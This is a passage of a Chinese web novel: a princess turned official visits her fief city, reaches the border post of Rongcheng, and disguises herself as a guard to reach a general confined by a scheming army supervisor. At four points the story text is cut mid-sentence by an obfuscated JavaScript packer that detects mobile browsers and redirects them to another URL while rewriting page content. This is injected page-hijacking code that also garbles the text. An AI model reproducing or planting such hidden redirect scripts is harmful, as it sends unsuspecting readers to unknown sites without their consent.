本来进士一开始没法做太高的官,但容城地处边陲,条件不好,又很危险,萧柠去容城,也算是牺牲自己,为国家做贡献,所以直接当太守也合情合理。 南萧国有一百多座城,大的城有很多个县,小城只有一两个县。 之前萧柠所在的栾伊城就只有一个县,所以栾伊城的长官只是县令。 而这次要去的容城有7个县,所以其长官是太守,下面还有7个县令。 萧柠想着临走之时皇帝跟她说过的话。皇帝让她有危险时先保全自己,但萧柠觉得不能这么做。 她身为容城的长官,要与容城共进退。 如果真的只顾自己逃跑,她的当官生涯也就到头了,回到京城说不定还要受罚。 同时,她也在想皇帝为什么会跟他说这样的话? 除了皇帝关心她的安危之外,会不会还有别人在推波助澜? 如果,有那就是靳妃无疑了。 她在心里暗暗想道:“抱歉了,靳妃,我不会如你所愿。我不仅不会临阵脱逃,还要成为一个贤明、有政绩的太守。谁也别想把我拉下来。” 这时,系统说话了:“萧柠,你获得了5万积分,现在的积分是125850。” “哪来的积分?” “之前你为国祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147043|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福三年结算的积分。因为系统出了bug,一直没有加上去。” “好的。” 去容城的路上,会路过栾伊城。萧柠打算去栾伊城看看。 以前她在栾伊城待过一个多月,而且后来栾伊城又成了她的汤沐邑。对她来说,栾伊城意义非凡。 她很想念那里的百姓。 赶路十来天后,她们就来到了栾伊城。 这里的百姓们听说萧柠来了,都纷纷挤在城门口看,挤得水泄不通。 萧柠在栾伊城执政的时间虽短,却做了很多好事。而且萧柠这些年一直只收一半的赋税,城里的百姓们都很感念她。 他们本来以为再也见不到萧柠了,没想到萧柠会去容城做官。 两城挨在一起,这也意味着,他们如果以后想见萧柠,直接走几步路去容城就可以了。 城门口欢声雷动,有许多百姓拿着鲜花、水果或自制的小礼物想送给萧柠。 他们争着跟萧柠说话: “大公主,您还记得我吗?我的名字是您给我取的!” “大公主看这边!这是我给您准备的鸡蛋,您带着路上吃!” “大公主,他的鸡蛋不好,您拿我的鸡蛋吧!” “鸡蛋算什么?我这儿有鹅蛋,鹅蛋比鸡蛋大多了!” “大公主,多亏您减免我们的赋税,我们的负担都小多了!” “大公主,这是我种的橙子,您带上!” “大公主,您上我家住两天吧!” “不,上我家去,我家宽敞!” 萧柠笑着说道:“大家不要挤,以免发生踩踏事件。我带的随从不多,你们的东西我带不走,你们自己留下吧。我不缺吃,不缺穿你们不需要记挂我。” 这时,郭南麟却跑了出来,去百姓手里拿了自己感兴趣的食物。 百姓们见状,纷纷把自己手里的东西往郭南麟身上挂。不一会儿,郭南麟头上、手上就挂满了食物。 向氏想去拉他,但人太多了,她根本挤不到郭南麟身边去。 看着这一幕,萧柠哭笑不得。 郭南麟只是个孩子,能拿的东西不多,有很多百姓都没有把自己的东西塞到他怀里。 这些百姓想把郭南麟身上的食物拿下来,换上自己的东西。 萧柠赶紧大声说道:“你们别给他东西了,很多东西他不会吃。这孩子心智不全,他并不是因为想吃才拿的,可能只是把这些食物当成了玩具。” 果然,下一刻,郭南麟就把一些生的蔬菜放到嘴里嚼一嚼,觉得不好吃,他又吐了。 有个百姓送了一只小鸡仔,郭南麟也放到了嘴里。但是他听见小鸡仔的叫声,又赶紧害怕地把小鸡甩了出去。 百姓们看到他的行为,都哈哈大笑起来。 众人的笑声太大了,郭南麟吓得赶紧跑了,手上的东西也全都丢了。 百姓们重新把东西捡了起来,又想往郭南麟手里塞。但是郭南麟已经跑到母亲向氏身边去了。 萧柠赶紧对百姓解释道:“这孩子害怕很响的声音,所以才躲起来。他的心智相当于四五岁的孩子,他不是故意把食物扔在地上的,请大家不要见怪。总之,你们先把东西拿回去吧,我什么都不缺。” 101. 监军(修) 然而,百姓们的热情还是不减。 栾伊城的官兵们努力维持着秩序,官员们也让百姓退出一条道来,让萧柠等人行走,不要冲撞到萧柠。 官员们扯着嗓子喊了许久,百姓们才逐渐散开。 中间空出一条道来,栾伊城的官员在前面相迎,萧柠走了过去。 萧柠发现,栾伊城的县令换人了,不是之前的潘县令了,而是一个三十多岁、方脸阔额的中年官员。 他上前行礼道:“下官栾伊城县令林川,拜见大公主。” 萧柠问道:“之前的潘县令呢?” “潘县令因年老致仕,在栾伊城中养老,大公主要去探望他吗?” “等会再说吧,我们先进去休息一下。” “是。您在栾伊城有府邸,下官带您过去。” 由于萧柠的汤沐邑在这里,按照规矩,栾伊城要为萧柠修建一座府邸。不管萧柠来不来住,府邸都要空出来。 萧柠也想看看自己的新府邸怎么样,就跟着林县令走。 没过多久,就到了此处的公主府。 虽然比不上京城公主府的气派,但也算是五脏俱全、具体而微了。 府中有小桥流水、亭台水榭,草虫鸣叫,鸥鹭闲眠,一片闲适气象。 萧柠笑着对林县令道:“这里很不错,我就在这里住两天吧。” “公主肯住在这里,是下官等的荣幸。关于公主府,若有什么需要修改之处,请大公主尽管提出。” “不用了,这样就挺好的,何必劳师动众的,反正我也不长住。对了,等我走后,这里也别空置,就开放给游客,让他们来参观,收取门票,你们还能多一笔财政收入。” “这怕是不妥吧?” “没什么不妥的,这是我的府邸,我说了算。栾伊城财政紧张,我是知道的。你们为了修这座府邸,怕是闹了不少饥荒。把它当做旅游景点,也能挣钱回本,也算是我为栾伊城尽一点心了。 还有,这府邸里产出的东西,比如园子里的鲜花,水边的野鸭蛋、莲藕,树上结的果子等,你们都可以拿去卖钱。白放着也是烂了,没必要。” “公主体恤下情,是臣等的荣幸。” “栾伊城是我的汤沐邑,大家一荣俱荣,一损俱损,我自然要为此处的官员和百姓考虑的。” 林县令十分佩服,说道:“公主,您一定会成为一个好官的。” “那就借林大人吉言了。” 系统说道:“萧柠,你获得了一万积分,现在的积分是135850。” “好的。” 萧柠一路上赶路挺累的,决定在公主府住几天再出发。 只要在规定的时间内赶到任上就可以了,她的时间还比较宽裕。 休息了半天后,萧柠去拜访了以前的老熟人,比如潘县令、余县丞等。 他们见到萧柠,得知她已经考中进士,且被派来做容城太守,都十分高兴。 潘县令勉励了萧柠几句,还传授了一些为官的经验。 余县丞对萧柠说道:“公主怎么放着好日子不过,要去容城?容城太守可不好做啊,您留在京城当个京官岂不是更好?” 萧柠笑道:“不好干的活,也得有人干。我不怕辛苦。” “年轻人专说大话,可别干两天就哭着跑了。” “我怎么能哭呢?谁给我找事,我把他打哭还差不多。” “不错不错,就得这样才能镇住那些牛鬼蛇神。” —— 晚上,萧柠打开了夸夸群。 【萧柠:到栾伊城了,休息一下,过两天再出发。】 【樱桃小完犊子:小柠正式成为女官了?恭喜恭喜,发个红包~】 【萧柠:如果能见到姐姐们,一定发红包。】 【樱桃小完犊子:哈哈哈,跟你开玩笑的】 【感觉尸体暖暖的:小柠太厉害了!为你骄傲~】 【只涨工资不长肉:小柠是群里唯一的天才。】 【回笼教教主:我不服,我也是天才。】 【只涨工资不长肉:就是你小子给五个领导买了四杯咖啡吗?】 【活人微死:就是你小子出差的时候给自己买了头等舱,给领导买了经济舱吗?】 【你已被群主移出群聊:就是你小子连夜改代码,改进去10个bug吗?】 【樱桃小完犊子:就是你小子开车的时候自己坐副驾驶,让领导坐驾驶座吗?】 【回笼教教主:别骂了别骂了】 【萧柠:哈哈哈哈】 【萧柠:我忽然发现,我都已经23岁了,压力好大啊。别人会不会觉得我是怪胎,23岁还不成亲、不生孩子,一直往外跑?】 【感觉尸体暖暖的:23岁正是闯的年纪。】 【你已被群主移出群聊:没错,我们这个年代,23岁刚刚大学毕业,人生才刚开始呢,你不用担心。】 【樱桃小完犊子:可能是因为你那个时代大家成亲生子都很早吧,就显得你特殊了。但你要是来我们这里,大把人在你这个年纪,还像个小孩似的。】 【有趣的灵魂一百多斤:没错,23岁能开启事业已经很了不起了,很多人快30了还没毕业呢。】 【活人微死:我怀疑你在内涵我博士延毕的事。】 【有趣的灵魂一百多斤:我没在内涵,我说得还不够明白吗?】 【活人微死:……】 【樱桃小完犊子:哈哈哈哈哈我不一样,我27就毕业了。】 【只涨工资不长肉:你27岁就博士毕业?天才】 【樱桃小完犊子:不是,是硕士毕业,我硕士读了四年,哈哈哈哈哈】 【只涨工资不长肉:……】 【你已被群主移出群聊:……】 【活人微死:……】 【樱桃小完犊子:这也不能怪我,我是在德国读的硕士。】 【回笼教教主:那很快了。】 【感觉尸体暖暖的:那很快了。】 【你已被群主移出群聊:那很快了。】 【只涨工资不长肉:那很快了。】 【萧柠:什么是博士?什么是硕士?】 【樱桃小完犊子:是一种可以让你在学校名正言顺地再待几年的称号。】 【回笼教教主:就是读书读到天荒地老,就能达成的成就。】 【只涨工资不长肉:就是一群领着临时工的工资、干着996的活的苦逼学生。】 【感觉尸体暖暖的:你再骂?】 【你已被群主移出群聊:人艰不拆】 【活人微死:博士之上还有骑士,骑士之上还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147044|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣斗士】 【萧柠:那很厉害了。】 【樱桃小完犊子:别听她瞎说,哈哈哈哈哈】 【有趣的灵魂一百多斤:总之,小柠加油,期待你大展宏图!】 【活人微死:祝你激浊扬清、勇创佳绩~】 【感觉尸体暖暖的:祝你成为青史留名的女官~】 【萧柠:谢谢姐姐们。】 —— 之前因为容城失守,任景行将军带领士兵们退守栾伊城。 萧柠跟他们有过接触,很怀念那些将士们。 不过,现在容城夺回来了,任将军带着士兵们回到了容城驻守,这会见不到,得等到了容城再跟他们见面了。 听说任将军身受重伤,萧柠心中有些担忧。 —— 两天后,萧柠休息得差不多了,带上随从出发去容城。 两城相隔不远,赶路半天就到了。 城门口的士兵认识萧柠,开心地打招呼:“大公主!是大公主来了!” 他们在站岗,不能随意走动,但他们可以朝萧柠挥手。他们的热情让萧柠倍感亲切。 “大公主,您还记得我们吗?之前在栾伊城,我们一起参加篝火晚会!” “之前您要离开栾伊城的时候,我还去送过您呢!” 萧柠笑道:“还有些许印象,没想到这么快就重逢了。对了,你们将军呢?” 士兵们的笑容黯淡了下去,互相看了几眼,似乎都不敢说话。 萧柠察觉到不对,问道:“怎么了?任将军还好吗?” “将军他……病重,时好时坏的,很久没出门了。” “既然如此,我去探望他。” “不行……” “为什么不行?” “因为……因为将军需要静养,不让人打扰。” “既然如此,我不进他房间,去他养病的地方跟他的随从聊聊,顺便把带给他的礼物放下,总可以吧?我特意给他带了礼物,都是京城的特产,他应该会喜欢。” “公主,还是别去了……” 萧柠觉得这些士兵吞吞吐吐的,好像在隐瞒什么。 她正准备细问,忽然传来一个严厉而尖细的声音:“大白天的,你们不好好守城门,在这里叽叽咕咕说什么?” 萧柠循声望去,见一个五十来岁、面白微瘦的宦官走了过来。 他虽不高,但气势很足,有一种睥睨一切的感觉。 士兵们纷纷向他行礼:“齐监军。” 有个士兵解释道:“齐监军,因大公主到来,我们跟大公主是旧识,所以说上几句话,并未玩忽职守。” 齐监军皮笑肉不笑地说道:“大公主何等身份,你们有什么资格跟她说话?大公主是来当太守的,马上要到官府去,你们还不快让开?耽误了大公主的正事,你们担待得起吗?” 士兵们全都垂着头,退到一边,不敢再说话。 萧柠有一种不好的预感,但面上只能做出沉稳的样子。 齐监军转向萧柠,道:“下官参见大公主。下官是内侍省的宦官齐泰源,被皇上派到容城来当监军使的。如今任将军病重,军中事务由我代管。” 萧柠点头道:“齐监军辛苦了,等我向父皇上请安奏折时,一定替您美言几句,把您的辛苦转达给父皇。” 102. 画像(修) “不敢,这都是下官分内之事。公主远道而来,不如先去官衙休息,您的房间已经准备好了。” “任将军在哪里?我先探望了他,再去官衙不迟。” “任将军的病总是不好,大夫说了,他只能静养,人来人往的会惊扰了他,反而于病情不利。大公主想必不认识去官衙的路,下官派人带您去。请吧。” 齐监军虽然话说得客气,但语气、神态却有些强势。他话音刚落,就有一队表情严肃的士兵走了过来,要给萧柠带路。 萧柠初来乍到,不了解容城的情况,便先按捺下心中的不满和疑惑,跟着这队士兵去官衙。 走了半个多时辰,终于来到了衙门。 除了守门的衙役外,只有一个年老的书吏出来迎接。 萧柠往里面一看,见其他官吏们都在忙碌,便知道他们是忙于公务,没空迎接自己。 容城经过战乱,民生凋敝,吏员短缺,事务又繁杂,这些官吏们应该确实忙不过来。 士兵们把萧柠送到,就离开了。 萧柠带着下属和随从走了进去。 书吏们看见一个女孩堂而皇之地走进来,而且气度不凡,便猜到她就是新上任的大公主。 于是,众人纷纷站了起来。 过了一会,有个又高又壮、满脸胡茬的官吏抬起头来,看见了萧柠。 他对萧柠行礼道:“您便是大公主吧?新任的太守?” 萧柠点头:“正是。不知阁下是……” “下官是容城司马,凌长空。” 说着,他看了一眼瞿明修、萧玉蟾、夏以清等人,见众人全是文绉绉的样子,皱眉道:“怎么全是文官?容城缺能打仗的。” 萧柠道:“容城有军队驻扎,打仗应该有军队作为主力吧?” “虽然如此,边境官员最好还是会武,等开战时也能带兵上战场。不过你们来都来了,就先这样吧。有武事时我去就好了。” “看凌司马的样子,应该武艺高强?” “武艺高强谈不上,勉勉强强吧。我在军营待过好多年,以前也当过武将。” “容城失守多年,多亏凌司马及诸位同僚奋力支撑。” “公主客气了,我们是朝廷命官,为国效力、镇守边关是我等应尽之责。” “对了,我有一事不明。任景行将军究竟如何了?我只听说他病重,可我一提去探病,士兵和齐监军全都反对……” 凌长空的神色有些愤愤不平:“哼,此事那位齐监军最清楚。我们也很久没见过任将军了。” “齐监军?他做了什么?任将军可还好?” “好不好我也不知道,反正暂时没听见任将军的死讯。” 见凌长空对齐监军颇为不满,萧柠觉得事情恐怕不简单。 她正要继续问,一个年长的书吏已经向萧柠解释:“公主,容城是三个月前收复的。这些年来,任将军为了收复失地,身先士卒,亲冒矢石,受了很多伤。他不肯好好养病,每次稍微好些,就要起来忙军务。等容城终于收复之后,他心里那口气放松下来,便积劳成疾,卧床不起。 本来军中事务由任将军的心腹打理,但自从齐监军来了之后,以让任将军静养为由,将他软禁,并接管了大部分军务。任将军的心腹,也被他架空。 如今军中主事的,都是齐监军自己的心腹。他不许旁人探视任将军,说是会加重任将军的病情。 所以,我们也不知道任将军究竟如何了。 每当官府需要借调士兵时,齐监军就打官腔,要么不肯帮忙,要么要独占功劳,我们也是一肚子气。 他的那些心腹,还经常来官衙作威作福,要我们忙前忙后地伺候他们。” 萧柠怒道:“有这种事?你们可有给皇上写过奏折?” 凌长空道:“下官品级太低,只是容城司马,不能直接向皇上上书。有时下官给分管容城的知州写奏折,但都杳无音信,也不知道知州收到没有。 或许是没收到,被人偷偷截下了;或许是收到了,但因为某种原因不作回应。” 萧柠沉思道:“按理说,监军使的职责只是监督军队,并不能总揽大权。齐泰源越权,可以暗中举报他的。” 凌长空道:“严格来说,他并未越权。现在军中的大权,表面上归属于一位叫靳海涯的将军。命令都出自他手,不过他年轻没经验,实际上听命于齐泰源。” “所以,齐泰源扶持了一个傀儡?” “也不能说是傀儡,齐泰源好像挺尽心扶持那位靳将军的,他更像是靳将军的半个老师。” “靳海涯……靳将军……他跟靳妃有什么关系吗?” “他是靳妃的侄子,是靳妃兄长的儿子。” “怪不得。靳将军也是跟齐监军一起过来的吗?” “是,他们是同一天到的容城。” 萧柠大概明白了是怎么回事。 靳妃的兄长靳衡,因为有杀良冒功的前科,已经失去皇帝的信任。这么多年,靳衡始终没有复起。 所以,靳妃和靳家就把希望寄托在下一代身上。 他们让靳海涯跟齐监军一起来容城,找机会架空任将军及其部下,夺取容城的军事大权。 只要靳海涯掌握了军权,并且不出大的差错,过个几年,他也可以算是封疆大吏了,会成为靳氏一族新的顶梁柱。 而齐监军,应该跟靳家是一伙的。所以,齐监军才费心扶持靳海涯。 而夺权对他们来说并不困难,因为任景行将军本就病重,无力抵抗。 凌司马的奏折石沉大海,也不难理解。靳家权势滔天,要拦截区区一个司马的奏折,易如反掌。 萧柠皱了皱眉,觉得军队的变故是心腹大患。不解决靳海涯和齐监军,她这个容城太守也当不好,很可能被掣肘,甚至被背刺。 当务之急,是尽快见任将军一面,跟他商议对策。 只希望任将军的病情不要像传闻中那么严重才好。 萧柠道:“我得先设法见任将军一面。” 凌长空摇头道:“见不到的。我派人偷偷去任将军的住所附近查看过,那里有许多士兵把守,一旦有可疑人等出现,会立刻被发现。就连房顶上,也时刻有人巡逻。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147045|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“如果把那些巡逻的士兵都打倒呢?” “任将军被软禁的住处离军营很近,一旦有异动,军营那边就能察觉。” “那药品方面呢?任将军的住处是否经常有人送药材过去?” “是的,任将军的用药量应该还挺大的。” 萧柠的心沉了下去。 如果任将军的病没什么大碍,齐监军没必要经常送药。频繁送药,就代表任将军沉疴难愈。 凌长空道:“公主,下官还是先跟你说一下积压的公务吧。” “不,我想先解决任将军的事。让我回去想想。” “公主,您已到任,如果长期不理政务,会被监察部门的官员弹劾。” “我知道……给我三天时间吧,三天内想不出办法,我就进衙门处理公务。” 萧柠回到衙门后堂,她住在最大的屋子里,两边的小屋子给下属和随从们居住。 她想了许久,没想到什么好办法,反而有些头疼。 于是,她就干脆出来走走。 郭南麟蹲在地上,拿着一根树枝,不知道在干什么。 萧柠走过去一看,发现郭南麟在泥地上画人像。他已经画了萧柠、鸾音、绿袖等人,正在画的是飞鹰的脸。 萧柠发现,郭南麟画得还挺像的,虽然只是寥寥数笔,但非常传神,一眼就能看出谁是谁。 萧柠笑道:“南麟,你还会画画啊?” 郭南麟没抬头,只是说道:“嗯。” “谁教你的?” “没有谁教。” “你自己学会的?” “没有学,拿起笔,就会画。” 萧柠明白了,这大概也是郭南麟的天赋之一。 他这样的孩子,很多方面都比不上正常人,但也有正常人没有的天赋。 萧柠忽然想到一个主意。 如果带郭南麟去看那些监视任将军的士兵,让郭南麟把那些士兵的脸画下来,萧柠是不是可以假扮成其中某一个士兵,接近任将军? 她只有个大概的想法,但具体怎么实现,她还不太清晰。 于是,她去找鸾音商议,把自己的想法告诉她。 鸾音道:“其实这个想法可行。江湖上有一种易容术,可以把一个人假扮成另一个人的样子。只是,我们都不会易容术。” “你可认识会易容术的人?” “不认识。不过,绿袖擅长化妆,如果那些监视任将军的士兵里,有一个跟公主长得有几分相似的话,绿袖可能可以通过化妆的方法,让您跟他更相似,也许能蒙混过关。只是,那些士兵也才几十人,其中有人跟您长相相似的概率很低。” “可以先试试,至少先让郭南麟把那些士兵的模样都画下来,后续再想办法。” “您要怎么让南麟见到那些士兵?” “光明正大地带他去。” “您这样直接去,一定会被拦下的。” “要的就是被拦下。那些士兵拦下我,必然要说几句话。南麟可以趁这一点时间,记住那些士兵的脸。” “几句话的功夫,时间够吗?” 103. 腰牌(修) “对南麟来说足够了。” 萧柠带上十几名侍卫,让郭南麟也穿上侍卫的衣服,混在他们中间。 郭南麟虽然才14岁,但已经很高了,跟成年人差不多。在人群中,不刻意扬起头的话,并不引人注意。 萧柠带上他们,大摇大摆地来到任景行将军的住所附近。 隔得老远,就有几个巡逻的士兵喝止了她们:“站住!不许前进!” 萧柠摆出官威道:“本公主是容城太守,谁敢拦我?” “抱歉,公主,这是小靳将军的命令。” “本公主从来没听说过什么小靳将军。” 萧柠一边说话,一边走得离住宅近了些。 士兵们步步后退,但始终挡在萧柠面前。萧柠若是想突破他们的防线,是不可能的。 见萧柠带来的人多,大部分巡逻的士兵都来了,如临大敌地盯着萧柠和她身后的侍卫们。 萧柠故意走来走去,似乎想把他们每个人都看清楚。 她脸上挂着轻蔑的笑容:“本公主记住你们了。” 有个士兵道:“就算公主怪罪,也没办法。我们是军中士兵,只听军令。” “哼。” 萧柠又看了他们一会,估摸着郭南麟应该把士兵们的脸都记清楚了,便离开了。 回到衙门后,萧柠让郭南麟把刚才见过的士兵都画下来,每个士兵画一张纸。 郭南麟不太会用毛笔,他去厨房拿了一块碳,开始作画。 守在任将军处的士兵一共四十五人,郭南麟画了四十五张画,一个时辰就画完了。 以萧柠对那些士兵的印象来看,郭南麟画得很准确。 鸾音在一边看着,有些佩服道:“那么一会功夫,他就记住了所有人的脸,实在是天赋异禀。若换了奴婢,只怕连人都认不全。” 萧柠笑道:“这就是南麟的厉害之处。当然,发掘了他的本公主更厉害。” “是,公主最厉害。” 萧柠问鸾音和绿袖:“你们看这些士兵里,有跟我长得像的吗?绿袖,你能把我打扮成他们中的某一个吗?” 绿袖摇头:“我觉得有点困难。” 鸾音也道:“公主花容月貌,不是这些普通的士兵能比。以奴婢的眼光来看,这些士兵没有一个跟您相像的。” 萧柠叹道:“这怎么办呢……如果不假扮成这些士兵,我怎么才能接近任将军?” 这时,郭南麟突然指着其中一幅画像,对萧柠道:“公主,他。” 鸾音等人都不解其意,萧柠却会意,问道:“南麟,你是说,这个士兵跟我长得像?” 郭南麟点头。 可是,萧柠把那幅画像仔细看了看,却没发现什么相像之处。 萧柠问郭南麟:“到底哪里像?” 郭南麟只是说道:“像。” 萧柠知道,郭南麟的语言表达能力远不如常人,因此也不苛责。 她觉得,郭南麟既然这么说,一定有他的道理,只是自己暂时还没想明白。 这时,绿袖却说道:“公主,我知道您跟这个士兵哪里像了。您五官的间距,跟这个士兵的五官间距是一样的。而且,你们眼睛的大小一样,脸部骨骼的走向一样,鼻子和嘴巴的宽度也一样。 虽然有这么多相似之处,你们的样貌却毫不相同。 就好像在一张白纸上定好五官的位置,先点上一个小点。让不同的人来画五官,也能画出不同的模样,只是五官间距一样而已。 上天造人也是如此。 我们看人像,看的是外貌;但在南麟眼里,人像的五官只是符号或线条,他看的是符号、线条之间的相似之处。所以,他才说你们像。” 听绿袖这么一说,萧柠也看出来了。 她笑道:“可真难为南麟了,能这么提纲挈领。也难为绿袖了,能把南麟的意思准确地说出来。绿袖,既然我跟这个士兵有这些相像之处,你能否将我化妆成他的模样?” 绿袖道:“我尽量试试。” 绿袖忙活了一个时辰,把萧柠的眼睛弄小、改变眉毛的走势、把皮肤画粗糙等等,最后终于完成。 萧柠看了看自己如今的模样,其实跟那个士兵还是有差别的,但乍一眼看过去,会让人感觉萧柠就是那个士兵。 绿袖道:“公主,我追求的是神似,而非形似。修改到这个程度,已经是我的极限了。到时候,您随机应变,不要让其他士兵盯着您看,应该就能蒙混过关了。” “嗯。” 鸾音问道:“公主,您今晚就假扮成那个士兵,去见任将军吗?” 萧柠沉思道:“不,还有一个问题。如果那个士兵被打晕,等他醒来之后,一定会把这件事说出来。到时候,其他士兵就知道有人进去看过任将军,任将军说不定会有危险。如果我们干脆杀掉那个士兵,等我离开任将军的住所后,其他士兵也会发现少了一个人。等尸体被发现,这件事照样瞒不住。” “那该怎么办?” “鸾音,你先暗中监视我要假扮的那个士兵,看看他有什么破绽或弱点,到时候我再制定计划。” “是。” 鸾音跟踪了那个士兵两天后,回来禀报:“公主,那个士兵叫沈康,他喜欢喝酒,平时酒壶不离身。休息的时候,他会去青楼。” 萧柠喃喃道:“好酒,好.色……我有主意了……” 萧柠对着鸾音耳语几句,鸾音点头。 —— 深夜,乌云密布,天边依稀露出几颗星星。 今晚没有月亮,光线很暗。 几十个士兵继续守在任将军的住所,到处巡逻。 他们已经守在这里一个多月了,都有些疲惫。但军令如山,他们不能离开这里,除非是休息换班的时候。 这里离军队大营很近,长官们随时可能看见他们。所以,他们没法打牌、赌钱或是做其他娱乐活动,只能偷偷喝两口酒,既不耽误正事,也能有点乐趣。 其中,士兵沈康是喝得最多的。他本就好酒,自从被派来看守任将军,他就喝得更多了。 今天晚上,他就喝了大半壶酒。 他有些醉了,还觉得想解手。 于是,他就到树林里解手。 这时,他看见前面有个美丽的红衣姑娘。那姑娘的五官虽然偏硬朗,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147046|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很漂亮;虽然长得过高,似乎比沈康还高一个头,但看起来亭亭玉立。已入秋的天气,她却穿得很少,婀娜的身姿若隐若现,沈康的眼睛都看直了。 他不由自主地走了过去。但他前进一步,那姑娘就后退一步,他不由自主地越走越远。 他想起自己的职责,想回到任将军的住所去,但那姑娘一直在对他笑,十分动人。 他豁出去了,觉得宅子那边有那么多士兵把守,不差他一个,因此他就继续跟着那姑娘走。 渐渐的,他们越走越偏僻。 沈康大着胆子,往前跑了几步,道:“姑娘,停步!” 那红衣姑娘笑道:“你叫我停下做什么?” 沈康“嘿嘿”一笑:“自然是做点有趣的事了……” 说着,他就朝那个姑娘扑去。 谁知,他的衣领却被人揪住了。 回头一看,揪着他衣领的是一个高大的男人。 那男人怒道:“你竟敢调戏我的妻子?” 沈康看看那红衣姑娘,又看看这个高大的男人,哆哆嗦嗦地道:“我不是故意的……我以为她是独身的姑娘……” 这高大的男人打了沈康几拳,道:“这样吧,你拿出一百两银子,这事就算了了!” “大爷,我哪有一百两银子啊……要不这样,我对你妻子磕头道歉,可以吗?” “谁要你磕头道歉?我就要钱!” “我真的拿不出一百两银子啊……” 那高大男人冷笑道:“那就用别的东西还吧。” 说着,他就把沈康的腰牌扯走了。 沈康急道:“腰牌不能给你!银子我可以慢慢凑,只要你别要一百两这么多……给十两银子怎么样,十两银子我借得到……” “不行,这腰牌归我了。” “求求大爷,行行好吧……这腰牌是长官发的,如果丢了,我会没命的!” “那你就跪在这儿,不许出声。两个时辰后,你再回到岗位上去,并且不能把刚才发生的事说出去。我会在不远处监视你,如果你说出去了,腰牌就别想拿回来了。如果你能保守秘密,那两天之后,我会把腰牌还你。” “好,我跪在这儿……腰牌能不能先还给我?” “不行。” 因为沈康等几十名士兵奉命看守任将军,上级也知道他们比较辛苦,所以特意给他们每个人都发了一个通行腰牌。 有了这个腰牌,他们可以去军营的很多地方,不会被阻拦,比如专门存放食物的帐篷、专门给精兵训练用的大草坪、风景最佳的观景点、养着战马的地方等。 只要在休息时间,他们就可以随便去这些地方休闲放松,不耽误正事就好。 当然,等看守任将军的任务结束,这些腰牌是要被收回的。如果腰牌丢了,会被处死。 因此,沈康非常害怕腰牌回不来了,只能完全按照那个高大男人说的做。 他跪了下来,那高大男人道:“你在这里跪着的时候,不能出声,不能叫人来,否则我也不会把腰牌还你。” “是,大爷……您可千万要遵守诺言啊……我的小命就在这块腰牌上了……” 104. 挨饿(修) “你放心吧。对了,把衣服也脱下来。” “啊,不行,这是军服……” “少废话。” 这高大男人把沈康的外衣脱了下来,然后带着那红衣姑娘走了。 而沈康跪在原地,不敢动弹。天气已经入秋,夜晚很冷。他没了外衣,冻得哆哆嗦嗦的,但也只能忍着。 这红衣姑娘,便是鸾音。这高大的男人,便是萧柠带来的侍卫之一。 —— 他们来到另一处竹林,把沈康的外衣给萧柠穿上。 萧柠已经化好妆了,在夜色下,瞧着跟沈康没区别。 鸾音道:“公主,您现在去任宅,我们在这里接应您。您要快去快回,沈康只会在外面跪两个时辰。” 萧柠点头:“好。” 萧柠低着头,往任宅那边走去。 其他巡逻的士兵没发现异常,只是问道:“沈康,你去哪里了?怎么离开这么久?” 萧柠粗着嗓子道:“刚才喝多了,一下子找不到回来的路。” “都叫你别喝那么多了,要是耽误了正事,看长官不罚你!” “是,是……我进去看看。” “你进去做什么?” “看看任将军病情如何了。万一他突然死了,我们可能会被降罪。上头只说让我们看守他,这说明上头不希望任将军出什么大事。” “好吧,那你进去吧。” 萧柠心跳如鼓,走进了大门。 这是一个两进的院落,前院有厨房、客房、下人房,后院应该是任将军的住所。 现在已经很晚了,下人们已经睡觉,所以没什么声音。 萧柠见到后院有一间屋子有亮光,便推开门,走了进去。 任景行将军躺在床上,比几年前消瘦了许多,显得五官更立体了。 如果说以前的他像一匹健壮的马,现在的他就像是一只伤势过重、静静等待死亡降临的老鹿。 床边坐着一个圆眼广额、三十多岁的中年汉子,萧柠认出,他就是任将军的副将邢玉楼。 